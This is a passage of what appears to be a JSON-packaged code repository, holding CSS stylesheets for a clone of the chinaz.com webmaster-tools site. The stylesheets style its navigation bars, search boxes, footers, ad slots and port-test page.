.75); background:url(http://cdn.chinaz.com/tools/images/public/navbarbg.png) repeat;/*_background:url(http://cdn.chinaz.com/tools/images/public/navbarbg.png) #1e5b97 repeat;*/}\n\t.ToolNavbar .navbar-bg-top{height: 40px;border-top: 1px solid #5895d5;border-bottom: 1px solid #1d5997;background: #2f87c1;}\n\t.ToolNavbar .navbar-bg-top .navbar-content-box{position: absolute;top: 0;left: 0;width: 100%;}\n\t.ToolNavbar .navbar-bg-top .navbar-content-box ul{position: relative;float: left;}\n\t.ToolNavbar .navbar-bg-top .navbar-content-box ul.odd{ width:200px;/* width:190px;width:210px;*/}\n\t.ToolNavbar .navbar-bg-top .navbar-content-box ul.odd li.dd{/* padding: 5px 20px 5px 20px; */}\n\t.ToolNavbar .navbar-bg-top .navbar-content-box ul.odd li.dd a{width:150px; /*width:169px;*/}\n\t.ToolNavbar .navbar-bg-top .navbar-content-box ul.both{ width:240px;/*width:290px;*/}\n\t.ToolNavbar .navbar-bg-top .navbar-content-box ul.both li.dd a{width:100px;/* width:120px;*/float: left;text-align:left;overflow:hidden;display: block;padding: 2px 10px 2px 9px;}\n\t.ToolNavbar .navbar-bg-top .navbar-content-box ul.both li.dd a.rig{text-align:right;/* padding-right:15px; *//*padding-right:20px;*/}\n\t.ToolNavbar .navbar-bg-top .navbar-content-box ul li.dt{height: 40px;line-height: 40px;font-size: 16px;text-align: center;cursor: pointer; border-left:1px solid #2f87c1; border-right:1px solid #2f87c1;}\n\t.ToolNavbar .navbar-bg-top .navbar-content-box ul li.dd{filter: alpha(opacity=0);opacity: 0;padding: 5px 0px;height: 179px;overflow:hidden;border-left: 1px solid #3a6fa2;font-size:14px;*zoom: 1;}\n\t.ToolNavbar .navbar-bg-top .navbar-content-box ul li.dd a{height: 25px;line-height: 25px;text-align: center;font-size: 14px;display:inline-block;padding-bottom: 3px;color: #c2e6fe;padding: 2px 24px 2px 24px;}\n\t.ToolNavbar .navbar-bg-top .navbar-content-box ul li.dd a:hover{color: #ffcc33; text-decoration:underline;}\n\t.ToolNavbar .navbar-bg-top .navbar-content-box ul li.dd:after{content: '\\0020';display: block;height: 0;font-size: 0;clear: both;overflow: hidden;visibility: hidden;}\n\t.ToolNavbar .navbar-bg-top .navbar-content-box ul:hover .dt,.active{border-color: #3381d1;background: #55a7e3;}\n\t.ToolNavbar .navbar-bg-top .navbar-content-box ul:hover .dd{background: #184f8b;border-color: #184f8b;}\n\t.ToolNavbar a{ display:block;}\n\t.ToolNavbar a,.ToolNavbar a:link,.ToolNavbar a:visited,.ToolNavbar a:hover,.ToolNavbar a:active{text-decoration: none;cursor: pointer;color: #f5f5f5;}\n\t.ToolNavbar-hover .navbar-bg-top .navbar-content-box ul li.dd{filter: alpha(opacity=100);opacity: 1;}\n\t\n\t.ToolNavbar-hover .navbar-bg{ background-color: rgba(30, 91, 151, .75);}\n\t\n \t/*pusmall*/\n\t.pusmall .ToolNavbar .navbar-bg-top .navbar-content-box ul.odd{ width:140px;/*width:160px;*/}\n\t.pusmall .ToolNavbar .navbar-bg-top .navbar-content-box ul.odd li.dd{/* padding: 5px 10px 5px 20px; _padding:  5px 0px 5px 20px;*/}\n\t.pusmall .ToolNavbar .navbar-bg-top .navbar-content-box ul.odd li.dd a{width:115px;padding: 0 12px 3px 12px;}\n\t.pusmall .ToolNavbar .navbar-bg-top .navbar-content-box ul.both{ width:240px;/*width:270px;*/}\n\t.pusmall .ToolNavbar .navbar-bg-top .navbar-content-box ul li.dt{font-size: 14px;}\n\t.pusmall .ToolNavbar .navbar-bg-top .navbar-content-box ul li.dd{/* padding: 5px 10px 5px 10px; */}\n\t.pusmall .ToolNavbar .navbar-bg-top .navbar-content-box ul li.dd a{font-size: 12px;/* width:110px;*/}\n\t.pusmall .ToolNavbar .navbar-bg-top .navbar-content-box ul.w114{ width:98px;/*width:120px;*/}\n\t.pusmall .ToolNavbar-hover .navbar-bg-top .navbar-content-box ul li.dd{filter: alpha(opacity=100);opacity: 1;}\n\t/*ToolNavbar-end*/\n\t\t\n\t/*Map-navbar-begin*/\n\t.Map-navbar{ background-color:#ffffff; height:40px;}\n\t.Map-navbar .Mnav-left,.Map-navbar .Mnav-right,.Map-navbar .Mnav-right02,.Map-navbar .Mnav-right03{ display:inline-block; padding:5px 20px; line-height:30px; height:30px; color:#747d87;}\n\t.Map-navbar .Mnav-left a,.Map-navbar .Mnav-right a{ color:#0474c8; padding:0px 5px; }\n\t.Map-navbar .Mnav-right02 a,.Map-navbar .Mnav-right03 a{ color:#0474c8; padding-left:10px;}\n\t.Map-navbar .Mnav-right a{ float:left; display:inline-block;}\n\t.Map-navbar .Mnav-right02{ padding:5px 20px 5px 25px;background:url(http://cdn.chinaz.com/tools/images/public/agg01.gif) left center no-repeat;}\n\t /*Map-navbar-end*/\n\t\n.publicSearch{ padding:20px 10px; z-index:1;}\n.publicSearch02{ padding:20px 0px 10px 130px;}\n/*search-write-wrap-begin*/\n.search-write-wrap{margin:0 auto; display:block;}\n.search-write-wrap .search-write-cont,.search-write-wrap .SMSearTxt{ color:#56688a;}\n.search-write-left,.search-write-right,.search-write-left02{display:inline-block;font: 16px arial; margin:0;zoom:1; float:left;}\n.search-write-left,.search-write-left02{border:solid #c6cede;height: 38px;border-image: none;background: #FFF; vertical-align: top;overflow: hidden;}\n.search-write-left{border-width:1px 0px 1px 1px; }\n.search-write-left02{border-width:1px;}\n\n.search-write-cont{float:left; height: 25px; line-height:25px; margin: 6px 0px 0px 10px; padding: 0px; background:none; border: 0px none; outline: 0px none;font-family: 'Microsoft YaHei';}\n.search-write-right{width:90px;}\n.search-write-btn{width:90px; background:#55a7e3; color:#fff;font-size: 14px;height:40px;padding: 0px;border: 0px none;cursor: pointer;}\n.search-write-btn:hover{background-color:#2f87c1;}\n.wbtnLink{ font-size:12px; color:#0474c8; line-height:40px; height:40px;letter-spacing:normal; *width:70px; _width:70px;}\n.quickdelete{background:url(http://cdn.chinaz.com/tools/images/public/quickdelete.png) 7px 12px #fff no-repeat; width:32px; height:32px; position:absolute; right:0; top:0; display:none;}\n.search-hint,.search-hint02{font-size:14px; color:#c0c1c4; position:absolute; left:13px;margin-top:10px; *margin-top:8px;letter-spacing:normal; font-weight:normal; z-index:0; top:0;font-family: 'Microsoft YaHei';}\n.SeaBtnCut{ background-color:#73c35b; height:40px; line-height:40px; text-align:center; width:90px; color:#fff; font-size:14px; float:left; display:block;}\n.SeaBtnCut:hover{ text-decoration:none;filter: alpha(opacity=80);opacity: .8;}\n.SeaBtnCut.ArtiBtn,.MachBtn.SeaBtnCut{ color:#fff;}\n\n.publicTxt{ border:1px solid #c6cede; background-color:#fff; padding:0px 3px;}\n\n.IMSearTxtWrap .IMSearTxt{ width:668px; border:none; border:1px solid #c6cede; background-color:#fff; min-height:103px;_height:103px;padding:5px; line-height:24px; font-size:16px;}\n.publicSearch input.IMSearBtn{ height:35px; line-height:35px; color:#fff; background-color:#55a7e3; border:none;}\n.publicSearch input.IMSearBtn:hover,.Tool-IcpMainPrivacy .IMPrivNode li a:hover{ background-color:#2f87c1;}\n\n\t/*history-one-begin*/\n\ta.IMSearBtn{ position:relative; display:block; cursor:pointer; z-index:1;}\n\ta.IMSearBtn i.corner,a.IMSearBtn i.cnerCurt{ width:9px; height:4px; cursor:pointer; display:inline-block; margin:15px 0 0 3px; position:absolute; right:10px; top:3px;*right:10px; *top:-10px; _top:3px; _float:left;} \n\ta.IMSearBtn i.corner{ background-position:0px 0px;}\n\ta.IMSearBtn i.cnerCurt{background-position:0px -6px;}\n\t.BomreWrap{position:relative; z-index:12; }\n\t.Bomrecord{ position:absolute; left:20px; top:38px; *top:15px; _top:15px; z-index:12; background-color:#fff; width:180px;} \n\t\n\t.Bomrecord .BomCor-arrow { height: 11px; left: 6px; line-height: 11px; overflow: hidden;  position: absolute;  top: -5px; width: 11px;} \n\t.Bomrecord .BomCor-arrow em { color: #D5D4D4 !important; top: 0;}\n\t.Bomrecord .BomCor-arrow em,.Bomrecord .BomCor-arrow i { font-family: SimSun;  font-size: 11px; font-style: normal; left: 0; position: absolute;}\n\t.Bomrecord .BomCor-arrow i { color: #fff;top: 2px;} \n\t\n\t.BomreList{ width:178px;box-shadow: 0 1px 8px rgba(0, 0, 0, 0.1); border:1px solid #D5D4D4;}\n\t.BomreList .BorWrapa{ color:#56688a;display:block; height:35px;line-height:35px; border-bottom:1px solid #f4f4f4; padding-left:10px; z-index:10; padding-right:10px; position:relative; cursor:pointer; overflow:hidden;}\n\t.BomreList .BorWrapa:hover{ text-decoration:none;background-color:#f9f9f9;}\n\t.BomreList .BorWrapa a{color:#56688a;}\n\t.BomreList .BorWrapa a:hover{ color:#f00;}\n\t.BomreList i.cloes,a.BomreMore i{ background:url(http://cdn.chinaz.com/tools/images/public/ticon.png) no-repeat;}\n\t.BomreList i.cloes{display: block;position: absolute; background-position: -14px 1px; width:12px; height:13px; right:10px; top:12px;}\n\t.BomreList i.cloes:hover{ background-color:#52abd9; background-position:-14px -10px;  border-radius:3px;}\n\t\n\ta.BomreMore{ background-color:#f5f5f5; text-align:right; height:30px !important; line-height:30px !important;}\n\ta.BomreMore{ color:#999; padding-left:20px; position:relative;}\n\ta.BomreMore i{ background-position: -27px 0px; display:inline-block; width:12px; height:13px; position:absolute; right:65px; top:8px;}\n\ta.BomreMore:hover{ text-decoration:none;color: #f00;}\n\t\n\t.BomreWa{ width:85px; height:40px; position:absolute; z-index:12; right:-85px; *bottom:0px; *margin-bottom:10px; *top:3px;_top:2px;}\n\t/*history-one-end*/\n\t/*history-two-begin*/\n\t.TFloat-item{position: fixed;width:35px;bottom: 10%;z-index: 999; *position:absolute; _position:absolute; display:none;}\n\t.TFloat-item .Record-show{display: block;position: absolute;left: -154px;bottom: 0;text-align: center;border-radius: 2px;width: 143px;background: #fff;box-shadow: 0 1px 8px rgba(0,0,0,.1);border:1px solid #f4f4f4;}\n\t.TFloat-item .Record-show .Tgroup{padding: 10px 0;}\n\t.TFloat-item .Record-show .Tgroup a{display: block;padding-left: 18px;height: 38px;line-height: 38px;text-align: left;font-weight: 400;position: relative;color: #56688a;font-family:'Microsoft Yahei';cursor: pointer}\n\t.TFloat-item .Record-show .Tgroup a:hover{color: #2e4267;text-decoration: none;background-color: #dfe4ee}\n\t.TFloat-item .Record-show .Tgroup a i.cloes{position: absolute; background-position: -14px 1px;right:10px; top:12px;}\n\t.TFloat-item .Record-show .Tgroup a i.cloes:hover{ background-color:#f4f4f4; border-radius:3px;} \n\t.TFloat-item .Record-show .arr{position: absolute;right: -6px;bottom: 14px;width: 6px;height: 11px;background: url(http://cdn.chinaz.com/tools/images/public/code_arrow.png) 0 0 no-repeat} \n\t\n\t.TFloat-item .Record-show .Tgroup a i.cloes,.TFloat-item .Record-show .Tgroup a.Remove i{display:block; width:12px; height:13px; position:absolute;  background:url(http://cdn.chinaz.com/tools/images/public/ticon.png) -14px 1px no-repeat;*background-position: -14px 3px; _height:10px;}\n\t.TFloat-item .Record-show .Tgroup a.Remove{ color:#999; padding-left:38px;}\n\t.TFloat-item .Record-show .Tgroup a.Remove:hover{ background:none;color: #f00;}\n\t.TFloat-item .Record-show .Tgroup a.Remove i{ background-position: -27px 0px; left:18px; top:12px;} \n\t\n\t.TFloat-item .Record,.TFloat-item .feedback,#TFloat{display: block;margin-bottom: 5px;border-radius: 2px;width: 35px;height: 31px;background: url(http://cdn.chinaz.com/tools/images/public/iconsprite_btbar.png) no-repeat;cursor: pointer;box-shadow: 0 1px 3px rgba(0,0,0,.2)}\n\t.TFloat-item .Record{ background-position:-2px -44px;}\n\t.TFloat-item .feedback{ background-position:-2px -84px;}\n\t#TFloat{ background-position:-3px -4px;}\n\t.TFloat-item .Record:hover,.TFloat-item .Record:active,.TFloat-item .feedback:hover,.TFloat-item .feedback:active,#TFloat:hover,#TFloat:active{background-color: rgba(0,0,0,.75)}\n\t/*history-two-end*/\n\n/*top-public-end*/\n\n/*footer-public-begin*/\n.ToolAbout{ padding:10px 20px 30px 20px; min-height:70px;}\n.ToolAbout .HeadH4{ height:30px; line-height:30px; padding-bottom:10px;} \n.ToolAbout .ToolAbCont p.tacHead{ font-size:14px; color:#773E3E;font-family: 'Microsoft YaHei'; padding:10px 0px;}\n.ToolAbout .ToolAbCont p{ line-height:28px; color:#777777; text-indent:28px;}\n.ToolAbout .ToolAbCont p b{ color:#773E3E; padding:0px 3px;font-family: 'Microsoft YaHei'; font-size:14px;}\n/*siteBar-begin*/\n\n/*default*/\n.siteBar li{ width:199px; padding:10px 20px; height:146px;}\n.siteBar li p.plist{ width:198px; height:120px; overflow:hidden;}\n.siteBar li p.plist a{ display:inline-block; width:49%; float:left; height:30px; line-height:30px; color:#999999;}\n.Map-navbar .Mnav-left a:hover,.siteBar li p.plist a:hover,.Map-navbar .Mnav-right a:hover{ color:#ff4500;}\n.Map-navbar .Mnav-right .iconDown,.Map-navbar .Mnav-right .iconFK{ display:block; position:absolute; width:15px; height:15px; left:0px; top:7px;}\n.Map-navbar .Mnav-right .iconDown{ background-position:-71px -24px;}\n.Map-navbar .Mnav-right .iconFK{ background-position:-97px 0px;}\n\n/*pusmall*/\n .pusmall .ToolAbout{ padding:10px 10px 20px 10px;}\n .pusmall .siteBar li{ width:189px; padding:10px 5px;}\n .pusmall .siteBar li p.plist{ width:189px;}\n\n /*GePrefectureWrap-end--------------------------------*/\n.GMFimglist,.GMFimglist02{ height:166px; overflow:hidden;}\n.GMFocusBoxWrap{ width:1200px; overflow:hidden; height:166px; margin:0px auto;}\n.GMFocusBox{ width:1200px; height:166px; position:relative;}\n.Fotline{ width:1px; height:166px; background-color:#fff; position:absolute; right:0px; bottom:0;}\n.GMFocusBtn{ width:100%;} \n.GMFocusBtn a { background-image:url(http://cdn.chinaz.com/tools/images/public/ticon.png);display: block; height: 72px; position: absolute; top: 45px; width: 18px;  /*z-index:104;*/z-index:51;overflow: hidden;}\n.GMFocusBtn a:hover{}\n.GMFocusBtn a.prevBtn{ background-position:-0px -59px; left:0px;}\n.GMFocusBtn a.nextBtn{ background-position:-19px -59px; right:0px;}\n.GMFocusBtn a.prevBtn:hover{ background-position:-38px -59px;}\n.GMFocusBtn a.nextBtn:hover{ background-position:-57px -59px;}\n.tFull{ width:1200px; overflow:hidden;}\n/*.GMFimglist02 .siteBar{ width:2400px;}*/\n\n.pusmall .GMFocusBox,.pusmall .tFull,.pusmall .GMFocusBoxWrap{ width:1000px;}\n/*.pusmall .GMFimglist02 .siteBar{ width:2000px;}*/\n\n.ToFooter{ height:43px;font-family: 'Microsoft YaHei';/*width:180px;width:24%;*/ }\n.ToFooter a{ display:block; float:left; height:43px; line-height:40px; padding:0px 10px; position:relative; color:#56688a; border-top:3px solid #fff; border-right:1px solid #f4f4f4; width:80px; text-align:center;}\n.ToFooter a:hover,.ToFooter .ToCurt{ text-decoration:none; background-color:#fff; border-top:3px solid #0474c8; color:#0474c8; } \n.ToFooter a i.Fline{ width:100%; height:1px; position:absolute; bottom:0px; left:0; display:block;}\n\n/*.pusmall .ToFooter{ width:24%;}*/\n.ToFootTs{ height:43px; line-height:43px; width:500px; overflow:hidden; text-align:right;}\n.pusmall .ToFootTs{ width:400px;}\n/*siteBar-end*/\n\n.puw100{ width:100%; min-width:1000px;}\n.ToolFooter{ min-height:40px; padding:20px 0px;}\n.ToolFooter p{ text-align:center; font-size:12px; line-height:12px;}\n.ToolFooter p.linkbtn{ padding-bottom:10px; color:#999999; padding-top:5px;}\n.ToolFooter p.linkbtn a{ color:#999999; display:inline-block; padding:0px 10px;}\n.ToolFooter p.linkbtn a:hover{color:#ff4500;}\n.ToolFooter p.info{ color:#c0c1c4;}\n.ToolFooter p.info span{ display:inline-block; padding-right:10px; color:#c0c1c4;}\n/*footer-public-end*/\n\n/*ToolPage-begin*/\n.ToolPage{ padding:10px;}\n.ToolPage .ToolPage-left,.ToolPage .ToolPage-right{}\n.ToolPage .ToolPage-left .ExportBtn{ display:inline-block; padding:0px 15px; color:#fff; height:25px; line-height:25px;}\n.ToolPage .ToolPage-left .ExportBtn:hover{ text-decoration:none;filter: alpha(opacity=80);opacity: 0.8;} \n.ToolPage .ToolPage-right a,.ToolPage .ToolPage-right span{ display:inline-block;float:left; color:#999999; cursor:pointer; margin-right:5px;}\n.ToolPage .ToolPage-right a{background-color:#f7fafd; padding:3px 15px;}\n.ToolPage .ToolPage-right a:hover{text-decoration:none; color:#338de6;filter: alpha(opacity=80);opacity: 0.8;}\n.ToolPage .ToolPage-right span{ padding:3px 5px;}\n\n.pagewrite{ border:1px solid #c6cede; width:30px; height:22px; line-height:22px; text-align:center; display:inline-block; float:left;}\n.pusmall .ToolPage .ToolPage-right a{ padding:3px 7px;}\n/*ToolPage-begin*/\n\n/*ResultList-begin*/\n.sort{display: inline-block;vertical-align: middle;width: 6px;height: 9px;overflow: hidden;margin:-1px 0 0 4px;background:url(http://cdn.chinaz.com/tools/images/public/sortIcon.png) no-repeat;display:none;}\n.down{background-position: 0 -10px;}\n.up{background-position: 0 -20px;}    \n/*ResultList-end*/\n\n.corUp{border-width: 0px 4px 5px !important;}\n.LI7{ margin-top:0 !important; *margin-top:0px;}\n\n/*searchToolBox-*/\n#ToolBox { border:#BFC2D3 1px solid;width:220px;position:absolute; background-color:#fff; display:none; z-index:50;}\n#ToolBox ul { text-align:left; padding:0; margin:2px;}\n#ToolBox ul li{ list-style-type:none; line-height:25px; background-color:#FAFAFA; }\n#ToolBox ul li a{ display:block;cursor:pointer; width:99%; padding-left:2px; }\n#ToolBox ul li a:hover{  background-color:#E8F0FB; color:#3333ff; text-decoration:none;}\n#ToolBox ul li a .del{margin-right:5px; display:inline-block; float:left; color:#fff; background-color:#55a7e3; border:1px solid #0474c8; line-height:24px; height:24px; padding:0px 5px;}\n\n/*Toolsrtising*/ \n.topTsCenter img{ width:468px; height:60px;}\n.topTsRight{/* width:410px;*/ height:58px; border:1px solid #e8e8e8; background:url(http://cdn.chinaz.com/tools/images/public/agg.gif) right bottom no-repeat; width:425px;}\n.topTsRight ul{ width:200px; float:left; padding-left:5px; padding-top:3px;}\n.topTsRight ul li{ display:block; height:17px; line-height:17px; width:200px; float:left; overflow:hidden; text-align:center;font-family:'Tahoma','simsun';}\n\n.ToolsWrap{ background-color:#e8e8e8;}\n.ToolsTxtWrap{ padding:10px; background:url(http://cdn.chinaz.com/tools/images/public/agg01.gif) right bottom no-repeat #fff;}\n.ToolsTxtWrap .ToolslistW{ padding-left:10px; padding-right:10px; text-align:center; line-height:20px; height:60px; width:18%; float:left; display:inline-block;}\n.ToolsTxtWrap .ToolslistW li{ height:20px; width:100%; overflow:hidden;font-family:'Tahoma','simsun';}\n.ToolsImgWrap{ padding-top:10px; padding-bottom:10px;}\n.ToolsImgWrap .AslistImg{ padding:0px 10px; line-height:20px; background-color:#fff;}\n.ToolsImgWrap .AslistImg a{ display:block; text-align:center;}\n\n.ToolsWrapIM .ToolsOne img{ width:270px; height:60px;}\n.ToolsWrapIM .ToolsTwo img{ width:640px; height:60px;}\n.ToolsWrapIM .ToolsThree img{ width:270px; height:60px;}\n\n.ToolsImgWrap .ToolsFour img{ width:290px; height:40px;}\n.ToolsImgWrap .ToolsFive img{ width:445px; height:40px;}\n\n.WhoisOneIM{ width:300px; height:250px; background-color:#c0c1c4;}\n.fix-layer{ position:fixed; top:10px;}\n.fix-layer2{ position:absolute; bottom:10px;}\n\n.IcpImgWrapIM{position:absolute; right:0px; top:1px; border-left:1px solid #f7f7f7; background-color:#fff; padding:4px 10px; z-index:1; *z-index:1;}\n.IcpImgCIM{ width:300px; height:280px;}\n/*pusmall*/\n\n.pusmall .topTsCenter{ width:370px; height:60px; overflow:hidden;}\n.pusmall .topTsCenter img{ width:370px; height:60px;}\n\n.pusmall .ToolsWrapIM img{ height:50px;}\n.pusmall .ToolsWrapIM .ToolsOne img{ width:215px;}\n.pusmall .ToolsWrapIM .ToolsTwo img{ width:550px;}\n.pusmall .ToolsWrapIM .ToolsThree img{ width:215px;}\n\n.pusmall .ToolsImgWrap img{ height:35px;}\n.pusmall .ToolsImgWrap .ToolsFour img{ width:290px;}\n.pusmall .ToolsImgWrap .ToolsFive img{ width:345px;}\n\n.pusmall .ToolsTxtWrap .ToolslistW{ width:17.8%;} \n/*ReLImgCenter*/\n.ReLImgCenter{ text-align:center !important; float:none !important;display:table-cell; _display:inline-block;vertical-align:middle; /*width:100% !important;*/ _width:auto;}\n.ReLImgCenter span,.ReLImgCenter a,.ReLImgCenter img{display:inline-block;vertical-align:middle; *margin-top:7px;float:none !important;}\n.ReLImgCenter span{ *line-height:normal;}\n.pusmall .ReLImgCenter .w280{ width:240px;}\n.pusmall .ReLImgCenter .w70{ width:65px;}\n\n.new_fea a{padding:0 5px; color: #0474c8;}\n\n/*index-begin*/\n.ClassHead-wrap,.ClassHead-wrap02,.ClassHead-wrap03{ margin:0px auto; background:#fff; height:36px;_height:37px; padding-top:10px; /*border-bottom:1px solid #c6cede;*/ background:url(http://cdn.chinaz.com/tools/images/public/nBarbg.png) #fff left bottom repeat-x;}\n.ClassHead-wrap a,.ClassHead-wrap02 a,.ClassHead-wrap03 a{ display:inline-block; float:left; padding:0px 20px; _padding:0px 15px; line-height:33px; height:33px; \ncursor:pointer; color:#0474c8;border-width:2px 1px 0px 1px;border-color:#fff;border-style:solid;}\n.ClassHead-wrap a{border-color:#fff;}\n.ClassHead-wrap02 a{border-color:#f1f9ff}\n.ClassHead-wrap a:hover,.ClassHead-wrap02 a:hover,.ClassHead-wrap03 a:hover{ text-decoration:none; color:#56688a;}\n.ClassHead-wrap a.CHeadcur,.ClassHead-wrap02 a.CHeadcur,.ClassHead-wrap03 a.CHeadcur{ padding:0px 20px;_padding:0px 15px; line-height:33px; height:33px; color:#56688a; text-decoration:none;border-top:2px solid #56688a;border-left:1px solid #c6cede;border-right:1px solid #c6cede;border-bottom:1px solid #fff;_border-bottom:2px solid #fff;}\n.ClassHead-wrap a:hover,.ClassHead-wrap02 a:hover,.ClassHead-wrap03 a:hover{ color:#56688a;}\n.ClassHead-wrap02 a.CHeadcur,.ClassHead-wrap02 a:hover,.ClassHead-wrap03 a:hover{ background:#fff;} \n .pusmall .ClassHead-wrap a,.pusmall .ClassHead-wrap a.CHeadcur,.pusmall .ClassHead-wrap a:hover,.pusmall .ClassHead-wrap02 a,.pusmall .ClassHead-wrap02 a.CHeadcur,.pusmall .ClassHead-wrap02 a:hover,.pusmall .ClassHead-wrap03 a,.pusmall .ClassHead-wrap03 a.CHeadcur,.pusmall .ClassHead-wrap03 a:hover{ padding:0px 8px;}\n.pusmall .ClassHead-wrap,.pusmall .ClassHead-wrap02{ width:1000px;}\n\n.ClassHead-wrap,.ClassHead-wrap02{ width:1200px;}\n.ClassHead-wrap03{ width:950px;}\n.pusmall .ClassHead-wrap03{ width:760px;}\n\n/*bgnone*/\n.bgnone:hover{ background:none !important;}\n\n.loading{padding:10px 0px;}\n.loading img{ vertical-align:bottom;}\n\n/*2016-05-24rank_a*/\n.topTsCentRank img{ width:640px; height:60px;}\n.topTsRigRank{ width:225px; height:58px; border:1px solid #e8e8e8; background: url(http://cdn.chinaz.com/tools/images/public/agg.gif) bottom right no-repeat;}\n.topTsRigRank ul{ width:200px; float:left; padding-left:5px; padding-top:3px;}\n.topTsRigRank ul li{ display:block; height:17px; line-height:17px; width:200px; float:left; overflow:hidden; text-align:center;font-family:'Tahoma','simsun';}\n\n.ToolsWrapIM .ToolsSix img,.ToolsWrapRK .ToolsSix img{ width:595px; height:60px;}\n.pusmall .ToolsWrapIM .ToolsSix img,.pusmall .ToolsWrapRK .ToolsSix img{ width:495px;}\n.pusmall .topTsCentRank img{ width:570px; height:60px;}\n \n.ToolsWrapRK{ padding-bottom:10px;}  \n\n\n\n/*2016-05-24rank_a END*/\n/*2016-06-15 bottomadTxt*/\n\t.fotatxtd{ width:1024px; height:40px;}\n\t.pusmall .fotatxtd{ width:1000px;}\n\t\n/*2016-06-12 float wajue*/\n.folwc{position: absolute; right: 0px; display: none; height: 22px !important; line-height: 22px !important; top: 8px; background:#fff; color: #cee2f8; min-height:22px !important;}\n\t\n/*2016-08-09 seo-down*/\n.seo-down{position: absolute; width: 130px; height: 40px;line-height: 40px; right: -225px;}\n.seo-down a{ color:#ff0000; display:block; width:120px; background:url(http://cdn.chinaz.com/tools/images/public/seo-new02.gif) center right no-repeat;}\n.seol70{ margin-left:-70px !important;}\n\n.Map-navbar .toolDown{display:block; position:absolute;width: 22px;height: 21px; left:0px;top: 5px; background:url(http://cdn.chinaz.com/tools/images/public/tooldown.png) no-repeat;}\n\n.ToolTop .TnavList li.seo-top a:hover,.ToolTop .TnavList li.seo-top a:hover span{ border:none; color:#ff4500;} \n.ToolTop .TnavList li.seo-top{position:absolute; right:-100px; _right:-160px;} \n.ToolTop .TnavList li.seo-top a.sNew{ background:url(http://cdn.chinaz.com/tools/images/public/seo-new.gif) center right no-repeat;display:block; color: #747d87; width:90px; height:25px;}  \n.pusmall .ToolTop .TnavList li.seo-top{width:90px; right:-160px; }\n\n/*2016-09-07 public_a begin*/\n.agg { width:29px; height:16px; display:block; font-size: 12px; font-family: sans-serif; color: #fff;  background-color: #DAD9D9;right: 0; bottom: 0;}\n#toolsIntro{ background:url(http://cdn.chinaz.com/tools/images/public/agg01.gif) left center no-repeat;padding-left: 35px;}\n \ndiv.fl.topTsRight.ml10{ margin-left: 0; } /*2017-02-13*/\n/*2016-09-07 public_a end*/\n"
  },
  {
    "path": "web_chinaz/chinaz/static/styles/toolstyle.css",
    "content": "@charset \"utf-8\";\n/* CSS Document */\n\n/*index-begin*/\n\n.ClassHead-wrap,.ClassHead-wrap02{ width:1200px; margin:0px auto; background:#fff; height:36px;_height:37px; padding-top:10px; background:url(http://cdn.chinaz.com/tools/images/public/nBarbg.png) #fff left bottom repeat-x;}\n.ClassHead-wrap a,.ClassHead-wrap02 a{ display:inline-block; float:left; padding:0px 20px; _padding:0px 15px; line-height:33px; height:33px; cursor:pointer; color:#0474c8;border-width:2px 1px 0px 1px;border-color:#fff;border-style:solid;}\n.ClassHead-wrap a{border-color:#fff;}\n.ClassHead-wrap02 a{border-color:#f1f9ff}\n.ClassHead-wrap a:hover,.ClassHead-wrap02 a:hover{ text-decoration:none; color:#56688a;}\n.ClassHead-wrap a.CHeadcur,.ClassHead-wrap02 a.CHeadcur{ padding:0px 25px;_padding:0px 15px; line-height:33px; height:33px; color:#56688a; text-decoration:none;border-top:2px solid #56688a;border-left:1px solid #c6cede;border-right:1px solid #c6cede;border-bottom:1px solid #fff;_border-bottom:2px solid #fff;}\n.ClassHead-wrap a:hover,.ClassHead-wrap02 a:hover{ color:#56688a;}\n.ClassHead-wrap02 a.CHeadcur,.ClassHead-wrap02 a:hover{ background:#fff;} \n .pusmall .ClassHead-wrap a,.pusmall .ClassHead-wrap a.CHeadcur,.pusmall .ClassHead-wrap a:hover,.pusmall .ClassHead-wrap02 a,.pusmall .ClassHead-wrap02 a.CHeadcur,.pusmall .ClassHead-wrap02 a:hover{ padding:0px 8px;}\n.pusmall .ClassHead-wrap,.pusmall .ClassHead-wrap02{ width:1000px;}\n \n  \n \n /*filter-choese-begin*/ \n.MainCate-choese{display:inline-block; float:left; height:30px;}\n.MainCateW-choese{height:30px;display:inline-block; float:left; margin-right:10px; z-index:2;}\n.MainCateW-cont{cursor: pointer; background-color:#fff; padding: 0px 5px;color:#747d87;height:28px;line-height:28px;font-size:12px;border:solid #c6cede;border-width:1px; display: inline-block;-webkit-user-select:none;-moz-user-select:none;}\n.MCicon-drop-down{position: absolute;right: 10px;top: 13px;overflow: hidden;width: 0px;height: 0px;cursor: pointer;border-width: 5px 4px 0px;border-color: #999999 #FFF;border-style: solid;display: block;}\n.MainCateC-down{position: absolute;top: 30px; background-color:#fff;left: 0px;right: 0px;border:solid #c6cede;border-width:0px 1px 1px 1px;list-style-type: none;z-index: 10;font-size:12px;background: #FFF none repeat scroll 0% 0%;overflow: auto;max-height: 220px;letter-spacing:normal;display:none;}\n.MainCateC-down li{line-height:21px; height:21px;cursor: pointer;text-align:left;}\n.MainCateC-down li:hover{background: #f5f5f5;}\n.MainCateC-down li a{color:#747d87; display:block;padding-left: 7px;}\n.MainCateC-down li a:hover{text-decoration:none;}\n/*filter-choese-end*/\n\n\n/*port-begin*/\n.portTestWrap{ width:820px; margin-left:auto; margin-right:auto;}  \n.portTestWrap div.Porname{ position:relative; float:left;}\n.portTestWrap .TitInput{ height:28px; line-height:28px; padding:0px 10px; border:1px solid #c6cede; float:left;}\n.portTestWrap .TitInBtn{ background-color:#f1f9ff; height:30px; line-height:30px; text-align:center; width:70px; border:none; cursor:pointer; color:#0474c8;}\n.portTestWrap .TitInBtn:hover,.portTestear .PorBtn:hover{filter: alpha(opacity=80);opacity: 0.8;}\n\n.portTestear{ width:820px;}\n.portTestear .PorTxtear{ width:500px; height:28px; line-height:28px; padding:0px 10px; border:1px solid #c6cede;float:left;}\n.portTestear p.Porinfo{width:500px; height:25px; line-height:25px; color:#999;}\n.portTestear .PorBtn{ width:70px; height:30px; line-height:30px; *line-height:none; display:block; background-color:#55a7e3 ; color:#fff; border:none; float:left;}\n\n.portRtitCent{ border:1px solid #c6cede; width:1170px;}\n.portRtitCent .RtitCehead{ background-color:#fafafa; overflow:hidden;}\n.portRtitCent .RtitCehead span{ display:block; line-height:40px; width:33%; float:left; text-indent:20px; *margin-left:20px;}\n.portRtitCent .RtitCehead span b{ color:#F00;}\n\n.portRtitCent .RtitCeCode{ line-height:30px; font-size:14px; padding:20px; background-color:#fff; color:#555555;}\n.portRtitCent .RtitCeCode pre{ white-space:normal;}\n\n\n .pusmall .portRtitCent{ 